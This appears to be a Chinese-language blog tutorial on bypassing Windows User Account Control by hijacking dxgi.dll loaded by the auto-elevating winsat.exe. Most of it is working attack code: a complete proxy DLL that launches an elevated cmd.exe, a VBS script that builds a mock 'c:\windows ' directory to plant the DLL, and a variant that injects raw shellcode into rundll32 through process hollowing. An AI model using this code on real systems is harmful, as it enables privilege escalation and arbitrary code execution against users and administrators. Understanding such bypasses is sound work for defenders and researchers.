0x11 uac简介
用户账户控制（User Account Control，简称UAC）是微软公司在Windows Vista及更高版本操作系统中引入的一种安全机制。其目的是通过提示用户授权应用程序访问硬盘驱动器和系统文件，来防止恶意软件损害系统。
UAC需要授权的操作包括：
- 配置Windows Update
- 添加或删除用户账户
- 更改用户账户类型
- 更改UAC设置
- 安装ActiveX控件
- 安装或卸载程序
- 安装设备驱动程序
- 设置家长控制
- 将文件移动或复制到Program Files或Windows目录
- 查看其他用户的文件夹
效果如下：
UAC设置有不同的级别，具体设置如下：
为什么有些应用程序不需要UAC提示？
简单来说，因为这些应用程序可以自动提升权限（autoElevate）。这也是常见的UAC绕过方法之一。常见方法包括：
- 白名单提权机制 - autoElevate
- DLL劫持
- 利用Windows自身漏洞提权
- 远程注入
- COM接口技术
具有autoElevate属性的应用程序在启动时会自动以管理员身份运行。这些应用程序通常具有微软的数字签名，被认为是可信的。如果我们通过COM技术或DLL劫持这些应用程序，也能获得管理员权限，但这需要较高的分析成本和技术难度。
0x12 BypassUAC
接下来，我们将寻找具有autoElevate权限的应用程序，并通过DLL劫持来绕过UAC。关于DLL劫持的原理，网上已有许多相关的文章，这里不再赘述。
首先，使用以下命令查找具有autoElevate属性的可执行文件：
strings.exe -s *.exe | findstr /i autoelevate
我们选择了winsat.exe作为目标劫持程序。查看该程序加载的DLL，发现其会加载dxgi.dll。
下面是我们编写的DLL劫持代码，原理如下图所示（图源自国外）：
可以通过dllexp查看DLL内的函数：
你可以自行编写所需的DLL，也可以使用自动化工具生成。经过多次尝试和团队wlpz师傅的指导，我们最终的目标是通过DLL劫持运行cmd.exe，主要代码如下：
# include "pch.h" #include#include #pragma comment(lib, "Wtsapi32.lib") # define EXTERNC extern "C" # define NAKED __declspec(naked) # define EXPORT EXTERNC __declspec(dllexport) # define ALCPP EXPORT NAKED # define ALSTD EXTERNC EXPORT NAKED void __stdcall # define ALCFAST EXTERNC EXPORT NAKED void __fastcall # define ALCDECL EXTERNC NAKED void __cdecl EXTERNC { FARPROC Hijack_ApplyCompatResolutionQuirking; FARPROC Hijack_CompatString; FARPROC Hijack_CompatValue; FARPROC Hijack_CreateDXGIFactory; FARPROC Hijack_CreateDXGIFactory1; FARPROC Hijack_CreateDXGIFactory2; FARPROC Hijack_DXGID3D10CreateDevice; FARPROC Hijack_DXGID3D10CreateLayeredDevice; FARPROC Hijack_DXGID3D10GetLayeredDeviceSize; FARPROC Hijack_DXGID3D10RegisterLayers; FARPROC Hijack_DXGIDeclareAdapterRemovalSupport; FARPROC Hijack_DXGIDumpJournal; FARPROC Hijack_DXGIGetDebugInterface1; FARPROC Hijack_DXGIReportAdapterConfiguration; FARPROC Hijack_PIXBeginCapture; FARPROC Hijack_PIXEndCapture; FARPROC Hijack_PIXGetCaptureState; FARPROC Hijack_SetAppCompatStringPointer; FARPROC Hijack_UpdateHMDEmulationStatus; }
namespace DLLHijacker{ HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load(){ TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("dxgi")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName){ FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; } }
using namespace DLLHijacker;
void StartProcess(){ STARTUPINFO startInfo = { 0 }; PROCESS_INFORMATION procInfo = { 0 }; WCHAR cmdline[] = L"cmd.exe";
CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking"); Hijack_CompatString = GetAddress("CompatString"); Hijack_CompatValue = GetAddress("CompatValue"); Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory"); Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1"); Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2"); Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice"); Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice"); Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize"); Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers"); Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport"); Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal"); Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1"); Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration"); Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture"); Hijack_PIXEndCapture = GetAddress("PIXEndCapture"); Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState"); Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer"); Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");
StartProcess(); } } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
然而，我们遇到了一个问题：系统的DLL通常需要权限才能更改或移动。为了解决这个问题，我们找到了一个VBS脚本，可以帮助我们完成操作，代码如下：
Set oFSO = CreateObject("Scripting.FileSystemObject") Set wshshell = wscript.createobject("WScript.Shell")' Get target binary and payload WScript.StdOut.Write("System32 binary: ") strBinary = WScript.StdIn.ReadLine() WScript.StdOut.Write("Path to your DLL: ") strDLL = WScript.StdIn.ReadLine()
' Create folders Const target = "c:\windows " target_sys32 = (target & "system32\") target_binary = (target_sys32 & strBinary)
If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If
' Copy legit binary and evil DLL oFSO.CopyFile ("c:\windows\system32\" & strBinary), target_binary oFSO.CopyFile strDLL, target_sys32
' Run, Forrest, Run! wshshell.Run("""" & target_binary & """")
' Clean files WScript.StdOut.Write("Clean up? (press enter to continue)") WScript.StdIn.ReadLine() wshshell.Run("powershell /c ""rm -r """"\?\" & target & """""""")
最终效果如下：
如果需要加载shellcode，可以修改其中的函数，例如如下所示：
void StartProcess(){ unsigned char shellcode_calc[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00"; TCHAR CommandLine[] = TEXT("c:\windows\system32\rundll32.exe"); CONTEXT Context; struct _STARTUPINFOA StartupInfo; struct _PROCESS_INFORMATION ProcessInformation; LPVOID lpBaseAddress;ZeroMemory(&StartupInfo, sizeof(StartupInfo)); StartupInfo.cb = 104; if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) { Context.ContextFlags = 1048579; GetThreadContext(ProcessInformation.hThread, &Context); lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u); WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0); Context.Rip = (DWORD64)lpBaseAddress; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); } }
最后，学习该方法时，我们发现作者整理了一份可劫持的系统表，地址如下：
https://www.php.cn/link/8500107a87fb6519162b221f50d23acf
有兴趣的可以尝试复现。
参考文章：
https://www.php.cn/link/60ca0083f9f3c57b8a91c3022d460c55
